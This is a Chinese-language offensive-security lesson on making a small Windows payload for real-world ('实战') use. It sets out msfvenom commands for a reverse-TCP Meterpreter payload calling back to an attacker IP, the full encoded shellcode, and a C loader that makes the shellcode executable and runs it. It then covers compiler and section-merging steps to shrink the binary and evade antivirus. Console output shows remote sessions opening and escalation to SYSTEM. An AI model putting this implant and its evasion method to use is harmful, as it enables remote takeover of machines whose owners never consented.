第九十四课:基于实战中的small payload

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攻击机: 192.168.1.5 Debian 靶机: 192.168.1.4 Windows 7 192.168.1.119 Windows 2003

攻击机配置:

payload:windows/meterpreter/reverse_tcp

msf exploit(multi/handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.1.5 yes The listen address (an interface may be specified)
LPORT 53 yes The listen port
Exploit target:
Id Name
‐‐ ‐‐‐‐
0 Wildcard Target
msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.5:53

payload生成:

root@John:/tmp# msfvenom ‐p windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=53 ‐b '\x00' ‐f exe > First.exe

原始payload大小如下: 73802字节,大概在72KB

root@John:/tmp# du ‐sb First.exe
73802 First.exe

第一次优化payload:

提取windows/meterpreter/reverse_tcp shellcode

root@John:/tmp# msfvenom ‐p windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=53 ‐b '\x00' ‐f c
[] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 368 (iteration=0)
x86/shikata_ga_nai chosen with final size 368
Payload size: 368 bytes
Final size of c file: 1571 bytes
unsigned char buf[] =
"\\xd9\\xc3\\xba\\xa1\\x43\\xe5\\x72\\xd9\\x74\\x24\\xf4\\x5d\\x29\\xc9\\xb1"
"\\x56\\x31\\x55\\x18\\x03\\x55\\x18\\x83\\xc5\\xa5\\xa1\\x10\\x8e\\x4d\\xa7"
"\\xdb\\x6f\\x8d\\xc8\\x52\\x8a\\xbc\\xc8\\x01\\xde\\xee\\xf8\\x42\\xb2\\x02"
"\\x72\\x06\\x27\\x91\\xf6\\x8f\\x48\\x12\\xbc\\xe9\\x67\\xa3\\xed\\xca\\xe6"
"\\x27\\xec\\x1e\\xc9\\x16\\x3f\\x53\\x08\\x5f\\x22\\x9e\\x58\\x08\\x28\\x0d"
"\\x4d\\x3d\\x64\\x8e\\xe6\\x0d\\x68\\x96\\x1b\\xc5\\x8b\\xb7\\x8d\\x5e\\xd2"
"\\x17\\x2f\\xb3\\x6e\\x1e\\x37\\xd0\\x4b\\xe8\\xcc\\x22\\x27\\xeb\\x04\\x7b"
"\\xc8\\x40\\x69\\xb4\\x3b\\x98\\xad\\x72\\xa4\\xef\\xc7\\x81\\x59\\xe8\\x13"
"\\xf8\\x85\\x7d\\x80\\x5a\\x4d\\x25\\x6c\\x5b\\x82\\xb0\\xe7\\x57\\x6f\\xb6"
"\\xa0\\x7b\\x6e\\x1b\\xdb\\x87\\xfb\\x9a\\x0c\\x0e\\xbf\\xb8\\x88\\x4b\\x1b"
"\\xa0\\x89\\x31\\xca\\xdd\\xca\\x9a\\xb3\\x7b\\x80\\x36\\xa7\\xf1\\xcb\\x5e"
"\\x04\\x38\\xf4\\x9e\\x02\\x4b\\x87\\xac\\x8d\\xe7\\x0f\\x9c\\x46\\x2e\\xd7"
"\\x95\\x41\\xd1\\x07\\x1d\\x01\\x2f\\xa8\\x5d\\x0b\\xf4\\xfc\\x0d\\x23\\xdd"
"\\x7c\\xc6\\xb3\\xe2\\xa8\\x72\\xbe\\x74\\x93\\x2a\\xbf\\x81\\x7b\\x28\\xc0"
"\\x89\\x4e\\xa5\\x26\\xd9\\xe0\\xe5\\xf6\\x9a\\x50\\x45\\xa7\\x72\\xbb\\x4a"
"\\x98\\x63\\xc4\\x81\\xb1\\x0e\\x2b\\x7f\\xe9\\xa6\\xd2\\xda\\x61\\x56\\x1a"
"\\xf1\\x0f\\x58\\x90\\xf3\\xf0\\x17\\x51\\x76\\xe3\\x40\\x06\\x78\\xfb\\x90"
"\\xa3\\x78\\x91\\x94\\x65\\x2f\\x0d\\x97\\x50\\x07\\x92\\x68\\xb7\\x14\\xd5"
"\\x97\\x46\\x2c\\xad\\xae\\xdc\\x10\\xd9\\xce\\x30\\x90\\x19\\x99\\x5a\\x90"
"\\x71\\x7d\\x3f\\xc3\\x64\\x82\\xea\\x70\\x35\\x17\\x15\\x20\\xe9\\xb0\\x7d"
"\\xce\\xd4\\xf7\\x21\\x31\\x33\\x84\\x26\\xcd\\xc1\\xa3\\x8e\\xa5\\x39\\xf4"
"\\x2e\\x35\\x50\\xf4\\x7e\\x5d\\xaf\\xdb\\x71\\xad\\x50\\xf6\\xd9\\xa5\\xdb"
"\\x97\\xa8\\x54\\xdb\\xbd\\x6d\\xc8\\xdc\\x32\\xb6\\xfb\\xa7\\x3b\\x49\\xfc"
"\\x57\\x52\\x2e\\xfd\\x57\\x5a\\x50\\xc2\\x81\\x63\\x26\\x05\\x12\\xd0\\x39"
"\\x30\\x37\\x71\\xd0\\x3a\\x6b\\x81\\xf1";

建立Micropoor_small_payload工程,配置如下:

源码如下:

# include <windows.h>
int main(void)
{
char *shellcode = (char *)"Micropoor_shellcode";
DWORD Micropoor_shellcode;
BOOL ret = VirtualProtect(shellcode, strlen(shellcode),
PAGE_EXECUTE_READWRITE, &Micropoor_shellcode);
if (!ret) {
return EXIT_FAILURE;
}
((void(*)(void))shellcode)();
return EXIT_SUCCESS;
}

原始shellcode_payload大小如下: 75776字节

优化: 在优化的过程中,需要确保

  • 性能

  • 稳定性

  • 大小

  • 可塑性

  • 免杀性

非算法,故优化/01

无使用预编译头,故否

无需调试信息,故否

自定义入口点:execMicropoor_shellcode

再次编译:

payload大小如下: 4608字节

第一次靶机测试:分别测试Windows 2003,Windws 7,reverse OK。

msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.5:53
[*] Sending stage (179779 bytes) to 192.168.1.119
[*] Meterpreter session 4 opened (192.168.1.5:53 ‐> 192.168.1.119:3887) at 2019‐01‐27 14:30:27 ‐0500
meterpreter > getuid
Server username: WIN03X64\Administrator
meterpreter >

第二次优化payload:

载入PEID

合并data to text,rdata to text 在次生成。

Section变化如下:

payload大小如下: 4096字节

第二次靶机测试:分别测试Windows 2003,Windws 7,reverse OK。

msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.5:53
[*] Sending stage (179779 bytes) to 192.168.1.119
[*] Meterpreter session 9 opened (192.168.1.5:53 ‐> 192.168.1.119:3891) at 2019‐01‐27 14:46:20 ‐0500
meterpreter > getuid
Server username: WIN03X64\Administrator
meterpreter > getpid
Current pid: 1232

第三次优化payload:

在00000E60起含有大部分000h,充填掉00,在次生成payload。

000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
....

payload大小如下:

3174字节

第三次靶机测试:分别测试Windows 2003,Windws 7,reverse OK。并且最终编译运行库依然为:/MT

msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.5:53
[*] Sending stage (179779 bytes) to 192.168.1.119
[*] Meterpreter session 11 opened (192.168.1.5:53 ‐> 192.168.1.119:3894) at 2019‐01‐27 14:56:30 ‐0500 6
meterpreter > getuid
Server username: WIN03X64\Administrator
meterpreter > getpid
Current pid: 3152
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

第四次优化payload:

.......

文中的前三次优化,三次生成,已满足大部分实战场景。当遇到更苛刻的实战场景,75776字节优化到3174字节,接下来的季中,会继续优化。

Micropoor